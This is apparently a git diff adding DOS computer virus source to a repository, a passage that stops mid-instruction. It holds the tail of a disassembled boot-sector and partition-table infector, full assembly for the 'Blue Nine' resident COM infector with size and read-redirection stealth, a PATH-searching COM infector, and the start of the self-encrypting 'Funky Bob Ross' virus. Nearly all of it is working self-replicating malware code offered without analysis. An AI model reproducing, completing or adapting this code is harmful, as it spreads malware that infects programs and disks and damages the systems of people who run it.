1989\r\r\r\n" +217D:01A6 7878736E3637 +217D:01AC 5D6279393723 +217D:01B2 3B37262E2F2E +217D:01B8 1D1D1D1A00 + +;************************** Main entry point ******************************* + +217D:01BD 33C0 XOR AX,AX +217D:01BF 8ED8 MOV DS,AX +217D:01C1 FA CLI +217D:01C2 8ED0 MOV SS,AX +217D:01C4 BC007C MOV SP,7C00 +217D:01C7 FB STI + +217D:01C8 A14C00 MOV AX,[004C] ; Save orig. INT13 vector +217D:01CB A30B7C MOV [7C0B],AX +217D:01CE A14E00 MOV AX,[004E] +217D:01D1 A30D7C MOV [7C0D],AX + +217D:01D4 A11304 MOV AX,[0413] ; Decrease memory by 2KB +217D:01D7 48 DEC AX +217D:01D8 48 DEC AX +217D:01D9 A31304 MOV [0413],AX + +217D:01DC B106 MOV CL,06 ; Calculate segment +217D:01DE D3E0 SHL AX,CL +217D:01E0 A3117C MOV [7C11],AX + + + +217D:01E3 A34E00 MOV [004E],AX ; Set new INT13 vector +217D:01E6 8EC0 MOV ES,AX +217D:01E8 B81F00 MOV AX,001F +217D:01EB A34C00 MOV [004C],AX + +217D:01EE C7060F7C0301 MOV [7C0F],0103 ; Set JMP argument points + ; to TOP + +217D:01F4 BE007C MOV SI,7C00 ; Copy itself to TOP +217D:01F7 33FF XOR DI,DI +217D:01F9 B90001 MOV CX,0100 +217D:01FC FC CLD +217D:01FD F3A5 REP MOVSW +217D:01FF FF2E0F7C JMP Far [7C0F] ; Jmp to TOP + +TOP :0203 33C0 XOR AX,AX ; Reset drive +TOP :0205 CD13 INT 13 + +TOP :0207 0E PUSH CS ; Set registers to load +TOP :0208 1F POP DS ; original sector +TOP :0209 33C0 XOR AX,AX +TOP :020B 8EC0 MOV ES,AX +TOP :020D B80102 MOV AX,0201 +TOP :0210 BB007C MOV BX,7C00 +TOP :0213 803E0A0000 CMP [000A],00 ; Check, if it is floppy ? +TOP :0218 7435 JZ 024F ; Jump, if floppy + + ; if hard disk, load + ; orig. part. table +TOP :021A B90600 MOV CX,0006 ; cyl.: 0 sect.: 6 +TOP :021D BA8000 MOV DX,0080 ; head: 0 +TOP :0220 CD13 INT 13 +TOP :0222 0E PUSH CS +TOP :0223 07 POP ES +TOP :0224 FE060800 INC B/[0008] ; Increase counter +TOP :0228 803E080080 CMP [0008],80 +TOP :022D 721E JC 024D ; If counter < 128 -> no text +TOP :022F C60608007A MOV [0008],7A +TOP :0234 FC CLD + +TOP :0235 BE9A00 MOV SI,009A ; Write coded text via BIOS +TOP :0238 AC LODSB +TOP :0239 3C00 CMP AL,00 +TOP :023B 740C JZ 0249 +TOP :023D 32060300 XOR AL,[0003] +TOP :0241 B40E MOV AH,0E +TOP :0243 B700 MOV BH,00 +TOP :0245 CD10 INT 10 +TOP :0247 EBEF JMP 0238 + +TOP :0249 B400 MOV AH,00 ; Wait for keystroke +TOP :024B CD16 INT 16 +TOP :024D EB54 JMP 02A3 + + ; if floppy +TOP :024F B90300 MOV CX,0003 ; read orig. boot sector +TOP :0252 BA0001 MOV DX,0100 ; cyl: 0 hd: 1 sect: 3 +TOP :0255 CD13 INT 13 + +TOP :0257 0E PUSH CS +TOP :0258 07 POP ES +TOP :0259 721D JC 0278 ; Jump, if error occured + + +TOP :025B B80102 MOV AX,0201 ; Load part. table of +TOP :025E BB0002 MOV BX,0200 ; 1st hard disk +TOP :0261 B90100 MOV CX,0001 +TOP :0264 BA8000 MOV DX,0080 +TOP :0267 CD13 INT 13 +TOP :0269 720D JC 0278 ; Jump, if error occured + +TOP :026B BE0002 MOV SI,0200 ; Check 1st 3 word +TOP :026E 33FF XOR DI,DI +TOP :0270 B90300 MOV CX,0003 +TOP :0273 FC CLD +TOP :0274 F3A7 REP CMPSW +TOP :0276 750E JNZ 0286 + + ; If infected yet +TOP :0278 C6060A0000 MOV [000A],00 ; Set Flag to 0 +TOP :027D C606080000 MOV [0008],00 ; Reset counter +TOP :0282 FF2E1300 JMP Far [0013] ; Jump to orig. boot + +TOP :0286 B80103 MOV AX,0301 ; Write orig. part. table +TOP :0289 BB0002 MOV BX,0200 +TOP :028C B90600 MOV CX,0006 ; cyl: 0 sect: 6 hd: 0 +TOP :028F CD13 INT 13 +TOP :0291 72E5 JC 0278 + +TOP :0293 BEBE03 MOV SI,03BE ; Copy partition info +TOP :0296 BFBE01 MOV DI,01BE ; after virus body +TOP :0299 B92101 MOV CX,0121 +TOP :029C F3A5 REP MOVSW +TOP :029E C6060A0001 MOV [000A],01 + +TOP :02A3 B80103 MOV AX,0301 ; Write boot sector or + ; partition table with + ; increased counter +TOP :02A6 33DB XOR BX,BX +TOP :02A8 B90100 MOV CX,0001 +TOP :02AB CD13 INT 13 + + +TOP :02AD BEBE04 MOV SI,04BE ; Clear area of partition +TOP :02B0 BFBE01 MOV DI,01BE ; info +TOP :02B3 B92000 MOV CX,0020 +TOP :02B6 F3A5 REP MOVSW +TOP :02B8 EBBE JMP 0278 ; Set parameters & + ; jump to orig. boot +TOP :02BA DE07 ESC 30,[BX] +TOP :02BC DF07 ESC 38,[BX] +TOP :02BE 0000 ADD [BX+SI],AL +TOP :02C0 0000 ADD [BX+SI],AL +TOP :02C2 0000 ADD [BX+SI],AL +TOP :02C4 0000 ADD [BX+SI],AL +TOP :02C6 0000 ADD [BX+SI],AL +TOP :02C8 0000 ADD [BX+SI],AL +TOP :02CA 0000 ADD [BX+SI],AL +TOP :02CC 0000 ADD [BX+SI],AL +TOP :02CE 0000 ADD [BX+SI],AL +TOP :02D0 0000 ADD [BX+SI],AL +TOP :02D2 0000 ADD [BX+SI],AL +TOP :02D4 0000 ADD [BX+SI],AL +TOP :02D6 0000 ADD [BX+SI],AL +TOP :02D8 0000 ADD [BX+SI],AL +TOP :02DA 0000 ADD [BX+SI],AL +TOP :02DC 0000 ADD [BX+SI],AL +TOP :02DE 0000 ADD [BX+SI],AL +TOP :02E0 0000 ADD [BX+SI],AL +TOP :02E2 0000 ADD [BX+SI],AL +TOP :02E4 0000 ADD [BX+SI],AL +TOP :02E6 0000 ADD [BX+SI],AL +TOP :02E8 0000 ADD [BX+SI],AL +TOP :02EA 0000 ADD [BX+SI],AL +TOP :02EC 0000 ADD [BX+SI],AL +TOP :02EE 0000 ADD [BX+SI],AL +TOP :02F0 0000 ADD [BX+SI],AL +TOP :02F2 0000 ADD [BX+SI],AL +TOP :02F4 0000 ADD [BX+SI],AL +TOP :02F6 0000 ADD [BX+SI],AL +TOP :02F8 0000 ADD [BX+SI],AL +TOP :02FA 0000 ADD [BX+SI],AL +TOP :02FC 0000 ADD [BX+SI],AL +TOP :02FE 55 PUSH BP +TOP :02FF AA STOSB diff --git a/b/BLUENINE.ASM b/b/BLUENINE.ASM new file mode 100755 index 0000000..00eebbc --- /dev/null +++ b/b/BLUENINE.ASM @@ -0,0 +1,576 @@ +; The Blue Nine virus... (c) 94 Conzouler + +; Resident in conventional memory +; Com infection on load and execute +; Com infection on 11/12 (dir for short - TU) +; Size stealth on 11/12 +; Size stealth on 4E/4F +; Infection check: seconds=4 +; Installation check: get dos version with cx=666 +; Redirection stealth on 3D/3F +; No TBScan flags (by hard heuristic as per version 6.26 - TU) + +.model tiny +.code +org 100h + +parasize equ ((offset virend - offset start) / 10h) + 1 +bytesize equ parasize*10h + +Start: + db 0E9h ; Near jmp to ResCheck + dw 03h + +HostStartO db 0CDh ; Buffer to save hosthead +HostStartA dw 09020h ; int20 + nop + +ResCheck: + push ax + ; Perform installation check + mov ah, 30h + mov cx, 666 + int 21h ; Dos would set cx to 0 + cmp cx, 444 ; but virus will set to 444 + je RestoreHost ; if resident + cmp al, 03h ; Don't go resident + jb RestoreHost ; If dosver less than 3.00 + +Install: + ; Code to place virus in memory + mov bx, es ; Dec es to get MCB + dec bx + mov es, bx + + mov bx, es:[3] ; Get size of MB and dec it + push cs + pop es + sub bx, parasize+2 + mov ah, 4Ah + int 21h + + mov ah, 48h ; Allocate MB to virus + mov bx, parasize+1 + int 21h + + dec ax ; Put MCB in es:0 + mov es, ax + mov word ptr es:[1], 08 ; Change owner to system + + push word ptr ds:[101h] ; Get delta offset + pop si + add si, 103h ; Get jmp pos + + mov di, 16h ; Move virus to new block + mov cx, bytesize-6 + rep movsb + + sub ax, 0Fh ; Jmp to new block + push ax + mov ax, offset InstVec + push ax + retf + + +Org21: + db 0EAh ; Far abs jmp +o21 label +Org21ofs dw ? +Org21seg dw ? + + +InstVec: + ; Code to install virus in vector21 + mov ax, 3521h ; Save org21 + int 21h + mov cs:Org21ofs, bx + mov bx, es + mov cs:Org21seg, bx + + mov ax, 2125h ; Set Vector21 + xchg ah, al + push ds + push cs + pop ds + mov dx, offset Vector21 + int 21h + pop ds + + +RestoreHost: + mov si, ds:[101h] ; Get addr from jmp opc + add si, 100h ; addr to hoststarto + mov ah, ds:[si] ; Restore hosthead + mov ds:[100h], ah + inc si + mov ax, ds:[si] + mov ds:[101h], ax + pop ax + push ds ; Set es to host cs + pop es + push ds ; Save host address + mov bx, 100h + push bx + retf + +icheck: ; Installation check + cmp cx, 666 + jne Org21 + mov cx, 444 + retf 2 + +Vector21: + cmp ah, 30h ; Installation check? + jne chn1 + jmp icheck + +chn1: cmp ax, 4B00h ; Load and execute? + jne chn2 + call cominfect + +chn2: cmp ah, 11h ; find first/next (fcb)? + je fff + cmp ah, 12h + jne chn3 +fff: call dos + cmp al, 0FFh + je chn3 + jmp fcbsearch + +chn3: cmp ah, 4Eh ; find first handle? + jne chn4 + call dos + jnc found + retf 2 +chn4: cmp ah, 4Fh ; find next handle? + jne chn5 + call dos + jnc found + retf 2 +found: jmp hdlsearch + +chn5: cmp ah, 3Dh ; open handle? + jne chn6 + call dos + jnc opened + retf 2 +opened: jmp hdlopen + +chn6: cmp ah, 3Fh ; read from handle + jne chnx + jmp hdlread + +chnx: jmp Org21 ; Chain to dos + + + db ' - Blue Nine Virus by Conzouler 1994 - ' + + +cominfect proc + push ax + push bx + push cx + push dx + push ds + + mov ax, 3d82h + call dos + jc ciexit + mov bx, ax + + call appendcom +ciexit: + pop ds + pop dx + pop cx + pop bx + pop ax + ret +cominfect endp + + +appendcom proc + ; infects the file handle in bx + + mov ax, 5700h ; Get date time + call dos + and cx, 0FFE0h ; Mask seconds + or cx, 02h ; Set to 4 + push cx ; Store date time + push dx + + push cs ; Read head + pop ds + mov dx, offset HostStartO + mov ah, 3Fh + mov cx, 03 + call dos + + push word ptr HostStartO + pop dx + xchg dh, dl + cmp dx, 'MZ' ;Check if .exe + je apcomexit + + mov dx, HostStartA ; Infection check + add dx, 3 ; Seek to jmp loc + xor cx, cx + mov ax, 4200h + call Dos + mov ah, 3Fh ; Read 2 bytes + mov cx, 2h + mov dx, offset Start + call dos + mov ax, 0b450h + cmp word ptr Start, ax ; infected? + je apcomexit + + mov al, 02h ; Goto eof + call fseek + + mov byte ptr ds:[100h], 0E9h; Assemble jmp + mov ds:[101h], ax ; jmp to eof + 3 + + mov dx, offset HostStartO ; Append virus + mov ah, 40h xor 66 + xor ah, 66 + mov cx, bytesize-3 + call dos + + mov al, 00h ; Goto start + call fseek + + mov ah, 40h xor 66 ; Write jmp + xor ah, 66 + mov dx, 100h + mov cx, 3 + call dos + +apcomexit: + pop dx ; Set date + pop cx + mov ax, 5701h + call dos + + mov ah, 3Eh ; Close file + call dos + + ret +appendcom endp + + +fcbsearch: + ; called after successful find first/next on fcb + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + + call getdta + + lodsb ; extended fcb? + cmp al, 0FFh + jne normfcb + add si, 7 +normfcb: + mov di, si + add si, 8 ; to extension + lodsw + cmp ax, 'OC' ; is almost com? + jne fcbnocom + lodsb + cmp al, 'M' ; is definitely com? + jne fcbnocom + + add si, 0Bh ; Get time stamp + lodsb + and al, 1Fh ; Mask seconds + cmp al, 2 ; infected? + jne fcbnotinfc + add si, 5 ; size-stealth + sub ds:[si], bytesize-3 + + jmp fcbexit + +fcbnotinfc: ; infect file + in al, 41h ; Get timer (rnd) + and al, 03h + cmp al, 03h + jne fcbexit ; Good guy today? + + push cs ; Convert to asciz + pop es + mov si, di + mov di, offset virend + push di + mov cx, 8 +loop3: lodsb + cmp al, ' ' + je loopx + stosb + loop loop3 +loopx: mov ax, 'C.' + stosw + mov ax, 'MO' + stosw + mov al, 0 + stosb + pop dx + push es + pop ds + mov ax, 3D82h + call dos + jc fcbexit + mov bx, ax + call appendcom +fcbnocom: +fcbexit: + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + retf 2 ; Back to caller + + +hdlsearch: + ; Called on successful find first/next on handle + + pushf + push ax + push cx + push si + push di + push ds + push es + + call getdta ; dta to es:si and ds:si + mov di, si + + add di, 1Eh ; di to name + mov cx, 9 + mov al, '.' + repne scasb ; scan for extension + jne hdlexit + xchg si, di + lodsw + cmp ax, 'OC' ; check if com? + jne hdlexit + lodsb + cmp al, 'M' ; is com? + jne hdlexit + + xchg si, di ; check date + add si, 16h ; si to time + lodsb + and al, 1Fh ; mask seconds + cmp al, 02h ; seconds=4? + jne hdlexit + sub word ptr [si+3], bytesize-3 ; Size stealth + +hdlexit: + pop es + pop ds + pop di + pop si + pop cx + pop ax + popf + retf 2 + + +hdlopen: + ; called after successful file open + pushf + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + + mov bx, ax ; Get sft number + call getsft ; sft to ds:si and es:di + jc hoexit + + add si, 28h ; extension to ds:si + lodsw + cmp ax, 'OC' ; is com? + jne hoexit + lodsb + cmp al, 'M' ; sure? + jne hoexit + + sub si, 1Eh ; check time + lodsw + and al, 1Fh ; mask seconds + cmp al, 02h ; infected? + jne hoexit + + add di, 05h ; Mark infection in sft + or word ptr [di], 4000h + add di, 0Ch ; Change size in sft + mov dx, [di] + + sub dx, bytesize-3 + xor cx, cx + mov ax, 4200h + call dos + + mov ah, 3Fh ; Load header + mov dx, si + sub dx, 02h + mov cx, 3 + call dos + mov al, 0 + call fseek + mov byte ptr [si+1], 31 + + sub word ptr [di], bytesize-3 + +hoexit: pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf + retf 2 + + +hdlread: + ; called before a read from handle (3F) + push si + push di + push es + push cx + push dx + push ds + + call getsft ; check if marked in sft + jc hrnoti + + add si, 05h + lodsw + and ah, 40h + cmp ah, 40h ; redirect? + jne hrnoti + cmp byte ptr [si+9], 31 ; redirect? + jne hrnoti + + mov ax, [si+0Eh] ; Get offset and + cmp ax, 02h ; redirect only if it is + ja hrnoti ; in the first 3 bytes of file + + mov cx, 3 ; See how many bytes to redir + sub cx, ax + + add si, 6 ; offset to time/date field + pop es ; es to buffer + push cx ; save redir count + mov di, dx + rep movsb ; move header to buffer + + mov ax, 4201h ; Skip 3 bytes + xor cx, cx + pop dx + push dx + call dos + + pop di + pop dx + pop cx + push dx + add dx, di + sub cx, di + push es + pop ds + mov ah, 3Fh + call dos + add ax, di + pop dx + pop es + pop di + pop si + retf 2 + + +hrnoti: pop ds ; perform normal read + pop dx + pop cx + pop es + pop di + pop si + mov ah, 3Fh + call dos + retf 2 + + + +getdta proc + push bx + mov ah, 2Fh ; Get dta + call dos + push es ; ds:si to dta + pop ds + mov si, bx + pop bx +getdta endp + + +fseek proc + mov ah, 42h + xor cx, cx + xor dx, dx + call dos + ret +fseek endp + + +getsft proc + push bx + mov ax, 1220h xor 666 + xor ax, 666 + int 2Fh + jc gsftexit + cmp byte ptr es:[di], 0FFh ; Invalid handle? + je gsftexit + + xor bx, bx ; Get sft address + mov bl, es:[di] ; sft to bx + mov ax, 1216h xor 666 + xor ax, 666 + int 2Fh + jc gsftexit ; ok? + push es + pop ds + mov si, di ; sft-address to ds:si + pop bx + clc + ret +gsftexit: + pop bx + stc + ret +getsft endp + + +dos proc + pushf + call dword ptr cs:o21 + ret +dos endp + +virend: +end start + diff --git a/b/BOB.ASM b/b/BOB.ASM new file mode 100755 index 0000000..48c7774 --- /dev/null +++ b/b/BOB.ASM @@ -0,0 +1,247 @@ + + +MOV_CX MACRO X + DB 0B9H + DW X +ENDM + + +CODE SEGMENT + ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE + ORG $+0100H +VCODE: JMP virus +v_start equ $ +virus: PUSH CX + MOV DX,OFFSET vir_dat ;This is where the virus data starts. + ; The 2nd and 3rd bytes get modified. + CLD ;Pointers will be auto INcremented + MOV SI,DX ;Access data as offset from SI + ADD SI,first_3 ;Point to original 1st 3 bytes of .COM + MOV DI,OFFSET 100H ;`cause all .COM files start at 100H + MOV CX,3 + REPZ MOVSB ;Restore original first 3 bytes of .COM + MOV SI,DX ;Keep SI pointing to the data area + PUSH ES + MOV AH,2FH + INT 21H + MOV [SI+old_dta],BX + MOV [SI+old_dts],ES ;Save the DTA address + POP ES + MOV DX,dta ;Offset of new DTA in virus data area + ADD DX,SI ;Compute DTA address + MOV AH,1AH + INT 21H ;Set new DTA to inside our own code + PUSH ES + PUSH SI + MOV ES,DS:2CH + MOV DI,0 ;ES:DI points to environment +find_path: + POP SI + PUSH SI ;Get SI back + ADD SI,env_str ;Point to "PATH=" string in data area + LODSB + MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long + REPNZ SCASB ;Search for first character + MOV CX,4 +check_next_4: + LODSB + SCASB + JNZ find_path ;If not all there, abort & start over + LOOP check_next_4 ;Loop to check the next character + POP SI + POP ES + MOV [SI+path_ad],DI ;Save the address of the PATH + MOV DI,SI + ADD DI,wrk_spc ;File name workspace + MOV BX,SI ;Save a copy of SI + ADD SI,wrk_spc ;Point SI to workspace + MOV DI,SI ;Point DI to workspace + JMP SHORT slash_ok +set_subdir: + CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended? + JNZ found_subdir ;If not, there are more subdirectories + JMP all_done ;Else, we're all done +found_subdir: + PUSH DS + PUSH SI + MOV DS,ES:2CH ;DS points to environment segment + MOV DI,SI + MOV SI,ES:[DI+path_ad] ;SI = PATH address + ADD DI,wrk_spc ;DI points to file name workspace +move_subdir: + LODSB ;Get character + CMP AL,';' ;Is it a ';' delimiter? + JZ moved_one ;Yes, found another subdirectory + CMP AL,0 ;End of PATH string? + JZ moved_last_one ;Yes + STOSB ;Save PATH marker into [DI] + JMP SHORT move_subdir +moved_last_one: + MOV SI,0 +moved_one: + POP BX ;Pointer to virus data area + POP DS ;Restore DS + MOV [BX+path_ad],SI ;Address of next subdirectory + CMP CH,'\' ;Ends with "\"? + JZ slash_ok ;If yes + MOV AL,'\' ;Add one, if not + STOSB +slash_ok: + MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace + MOV SI,BX ;Restore SI + ADD SI,f_spec ;Point to "*.COM" + MOV CX,6 + REPZ MOVSB ;Move "*.COM",0 to workspace + MOV SI,BX + MOV AH,4EH + MOV DX,wrk_spc + ADD DX,SI ;DX points to "*.COM" in workspace + MOV CX,3 ;Attributes of Read Only or Hidden OK + INT 21H + JMP SHORT find_first +find_next: + MOV AH,4FH + INT 21H +find_first: + JNB found_file ;Jump if we found it + JMP SHORT set_subdir ;Otherwise, get another subdirectory +found_file: + MOV AX,[SI+dta_tim] ;Get time from DTA + AND AL,1FH ;Mask to remove all but seconds + CMP AL,1FH ;62 seconds -> already infected + JZ find_next ;If so, go find another file + CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long? + JA find_next ;If too long, find another one + CMP WORD PTR [SI+dta_len],0AH ;Is it too short? + JB find_next ;Then go find another one + MOV DI,[SI+nam_ptr] ;DI points to file name + PUSH SI ;Save SI + ADD SI,dta_nam ;Point SI to file name +more_chars: + LODSB + STOSB + CMP AL,0 + JNZ more_chars ;Move characters until we find a 00 + POP SI + MOV AX,OFFSET 4300H + MOV DX,wrk_spc ;Point to \path\name in workspace + ADD DX,SI + INT 21H + MOV [SI+old_att],CX ;Save the old attributes + MOV AX,OFFSET 4301H ;Set attributes + AND CX,OFFSET 0FFFEH ;Set all except "read only" (weird) + MOV DX,wrk_spc ;Offset of \path\name in workspace + ADD DX,SI ;Point to \path\name + INT 21H + MOV AX,OFFSET 3D02H ;Read/Write + MOV DX,wrk_spc ;Offset to \path\name in workspace + ADD DX,SI ;Point to \path\name + INT 21H + JNB opened_ok ;If file was opened OK + JMP fix_attr ;If it failed, restore the attributes +opened_ok: + MOV BX,AX + MOV AX,OFFSET 5700H + INT 21H + MOV [SI+old_tim],CX ;Save file time + MOV [SI+ol_date],DX ;Save the date + MOV AX,OFFSET 4202H + MOV CX,0 + MOV DX,0 + INT 21H + MOV CX,AX ;DX:AX (long int) = file size + SUB AX,3 ;Subtract 3 (OK, since DX must be 0, here) + MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction + ADD CX,OFFSET c_len_y + MOV DI,SI ;Point DI to virus data area + SUB DI,OFFSET c_len_x + ;Point DI to reference vir_dat, at start of pgm + MOV [DI],CX ;Modify vir_dat reference:2nd, 3rd bytes of pgm + MOV AH,40H + MOV_CX virlen ;Length of virus, in bytes + MOV DX,SI + SUB DX,OFFSET codelen ;Length of virus code, gives starting + ; address of virus code in memory + INT 21H + CMP AX,OFFSET virlen ;All bytes written? + MOV AX,OFFSET 4200H + MOV CX,0 + MOV DX,0 + INT 21H + MOV AH,40H + MOV CX,3 + MOV DX,SI ;Virus data area + ADD DX,jmp_op ;Point to the reconstructed JMP + INT 21H + MOV AH,3EH + INT 21H +fix_attr: + MOV AX,OFFSET 4301H + MOV CX,[SI+old_att] ;Old Attributes + MOV DX,wrk_spc + ADD DX,SI ;DX points to \path\name in workspace + INT 21H +all_done: + PUSH DS + MOV AH,1AH + MOV DX,[SI+old_dta] + MOV DS,[SI+old_dts] + INT 21H + POP DS +quit: + POP CX + XOR AX,AX + XOR BX,BX + XOR DX,DX + XOR SI,SI + MOV DI,OFFSET 0100H + PUSH DI + XOR DI,DI + RET 0FFFFH +vir_dat EQU $ +olddta_ DW 0 ;Old DTA offset +olddts_ DW 0 ;Old DTA segment +oldtim_ DW 0 ;Old Time +oldate_ DW 0 ;Old date +oldatt_ DW 0 ;Old file attributes +first3_ EQU $ + INT 20H + NOP +jmpop_ DB 0E9H ;Start of JMP instruction +jmpdsp_ DW 0 ;The displacement part +fspec_ DB '*.COM',0 +pathad_ DW 0 ;Path address +namptr_ DW 0 ;Pointer to start of file name +envstr_ DB 'PATH=' ;Find this in the environment +wrkspc_ DB 40h dup (0) +dta_ DB 16h dup (0) ;Temporary DTA goes here +dtatim_ DW 0,0 ;Time stamp in DTA +dtalen_ DW 0,0 ;File length in the DTA +dtanam_ DB 0Dh dup (0) ;File name in the DTA +reboot_ DB 0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0 +lst_byt EQU $ ;All lines that assemble into code are + ; above this one +virlen = lst_byt - v_start ;Length, in bytes, of the entire virus +codelen = vir_dat - v_start ;Length of virus code, only +c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code +c_len_y = vir_dat - v_start + 100H ;Code length + 100h, for PSP +old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset +old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment +old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp +ol_date = oldate_ - vir_dat ;Displacement to old file date stamp +old_att = oldatt_ - vir_dat ;Displacement to old attributes +first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM +jmp_op = jmpop_ - vir_dat ;Displacement to the JMP opcode +jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of JMP +f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string +path_ad = pathad_ - vir_dat ;Displacement to the path address +nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer +env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string +wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace +dta = dta_ - vir_dat ;Displacement to the temporary DTA +dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA +dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA +dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA +reboot = reboot_ - vir_dat ;Displacement to the 5 byte reboot code + CODE ENDS +END VCODE diff --git a/b/BOBVIRUS (26).ASM b/b/BOBVIRUS (26).ASM new file mode 100755 index 0000000..21bbebc --- /dev/null +++ b/b/BOBVIRUS (26).ASM @@ -0,0 +1,565 @@ +; The Funky Bob Ross Virus Version 1.0 +; Written by Dark Angel / 26 September 1991 / (c) 1991 +; PHALCON/SKISM Co-op +; Effective length: 1125, Resident length: 672 bytes +; +; DEDICATION: +; This virus was written expressedly to +; 1) Piss off Patty Hoffman, John McAffee, Ross Greenberg, and all the +; other guru-wanna-bes in this world. +; 2) Spread the message of The Almighty Bob, and so enrichen the lives +; of people all over the world. +; 3) Show off (Now I can tell people that I wrote a virus!) +; +; WHAT THIS IS: +; This is a self-encrypting, non-overwriting COM infector. It doesn't do +; anything to EXE files. File sizes increase by 1117 bytes. It goes off +; on July 9th of any year or after 7 infection "waves." +; +; WHAT IT DOES WHEN IT GOES OFF: +; The virus goes memory resident and prints out a Bobism every 5 minutes. +; It then enters a delay loop for approximately 5 seconds, allowing for a +; brief moment of silence while the victim reads Bob's holy message. The +; virus will not destroy anything. The virus will not go TSR if it finds +; another copy of itself in memory. +; +; CAUTION: THIS IS DESTRUCTIVE CODE. YOU SHOULD NOT EVEN BE LOOKING AT IT. +; I HAVE NEVER AND WILL NEVER RELEASE THIS CODE. IF YOU SHOULD BE +; LOOKING AT IT, IT IS BECAUSE IT WAS STOLEN FROM ME. YOU HAVE NO +; RIGHT TO LOOK AT THIS CODE. IF THIS SOURCE SHOULD FALL INTO THE +; WRONG HANDS, IT COULD BE VERY BAD! DESTROY THIS IMMEDIATELY. I +; HOLD NO RESPONSIBILITY FOR WHAT STUPID PEOPLE DO WITH THIS CODE. +; THIS WAS WRITTEN FOR EDUCATIONAL PURPOSES ONLY!!! + +CODE SEGMENT PUBLIC 'CODE' + ORG 100h + ASSUME CS:CODE,DS:CODE,SS:CODE,ES:CODE + +DTA_fileattr EQU 21 +DTA_filetime EQU 22 +DTA_filedate EQU 24 +DTA_filesize EQU 26 +DTA_filename EQU 30 + +virus_marker equ 026FFh ; JMP WORD PTR +virus_marker2 equ 00104h ; 0104h +part1_size equ part1_end - part1_start +part2_size equ part2_end - part2_start +offset_off equ duh2 +init_delay equ 5280 ; Initial delay +delay equ 400 ; Subsequent delay +num_Messages equ 7 ; Number of Bob messages +waves equ 7 ; Number of waves to go off after +infec_date equ 0709h ; Date of psychosis + +Counter equ 108h +D_Mess equ 110h +Int_08_Start equ 112h + +part1_start: + jmp word ptr duh +duh dw middle_part_end - part1_start + 100h +duh2 dw 0 +part1_end: + +middle_part_start: +middle_part_end: + +;============================================================================= +;Part 2 begins: Dis is the D-Cool part +;============================================================================= +part2_start: + cld + call decrypt + mov si, offset Go + add si, offset_off + jmp si + +encrypt_val db 00h + +decrypt: +encrypt: + mov si, offset encrypt_val + add si, offset_off + mov ah, byte ptr [si] + + mov cx, offset part2_end - offset bam_bam + add si, offset bam_bam - offset encrypt_val + mov di, si + +xor_loop: + lodsb ; DS:[SI] -> AL + xor al, ah + stosb + loop xor_loop + ret + +copy_rest_stuff: +; Mah copying routine + push si ; SI -> buffer3 + call encrypt + mov cx, part2_size + pop dx + add dx, offset part2_start - offset buffer3 + mov ah, 40h + int 21h + call decrypt +bam_bam: + ret + +buffer db 0CDh, 20h, 0, 0, 0, 0, 0, 0 +buffer2 db part1_end - part1_start dup (?) +buffer3 dw ? +orig_path db 64 dup (?) +num_infec db 0 ; Infection wave number +infec_now db 0 ; Number files infected this time +root_dir db '\',0 +com_mask db '*.com',0 +dir_mask db '*.*',0 +back_dir db '..',0 +nest dw 0 + +DTA db 43 DUP (0) ; For use by infect_dir + +Go: + add si, offset buffer - offset Go + mov di, si + add di, offset buffer2 - offset buffer + mov cx, part1_size + rep movsb + + mov ah, 47h ; Get directory + xor dl,dl ; Default drive + add si, offset orig_path - offset buffer - 8 ; DS:[SI] -> buffer + int 21h ; in orig_path + jc Go_Error + + mov ah, 3Bh ; Change directory + mov dx, si ; to the root dir + add dx, offset root_dir - offset orig_path + int 21h + jc Go_Error + + add si, offset num_infec - offset orig_path + inc byte ptr [si] ; New infection wave + + push si ; Save offset num_infec + + add si, offset infec_now - offset num_infec + mov byte ptr [si], 3 ; Reset infection + ; counter to 3 + ; for D-new run. + + call traverse_fcn ; Do all the work + + pop si ; Restore offset num_infec + cmp byte ptr [si], waves ; 10 infection waves? + jge Go_Psycho ; If so, activate + + mov ah, 2Ah ; Get date + int 21h + cmp dx, infec_date ; Is it 07/09? + jz Go_Psycho ; If so, activate +Go_Error: + jmp quit ; And then quit + +Go_Psycho: + jmp Psycho + +origattr db 0 +origtime dw 0 +origdate dw 0 +filesize dw 0 ; Size of the uninfected file + +oldhandle dw 0 + +;============================================================================= +;D-Traversal function begins +;============================================================================= +traverse_fcn proc near + push bp ; Create stack frame + mov bp,sp + sub sp,44 ; Allocate space for DTA + push si + + jmp infect_directory +In_fcn: + mov ah,1Ah ;Set DTA + lea dx,word ptr [bp-44] ; to space allotted + int 21h ;Do it now, do it hard! + + mov ah, 4Eh ;Find first + mov cx,16 ;Directory mask + mov dx,offset dir_mask ; *.* + add dx,offset_off + int 21h + jmp short isdirok +gonow: + cmp byte ptr [bp-14], '.' ;Is first char == '.'? + je short donext ; If so, loop again + lea dx,word ptr [bp-14] ;else load dirname + mov ah,3Bh ; and changedir there + int 21h ;Yup, yup + jc short donext ; Do next if invalid + mov si, offset nest ; Else increment nest + add si, offset_off + inc word ptr [si] ; nest++ + call near ptr traverse_fcn ; recurse directory +donext: + lea dx,word ptr [bp-44] ;Load space allocated for DTA address + mov ah,1Ah ; and set DTA to it + int 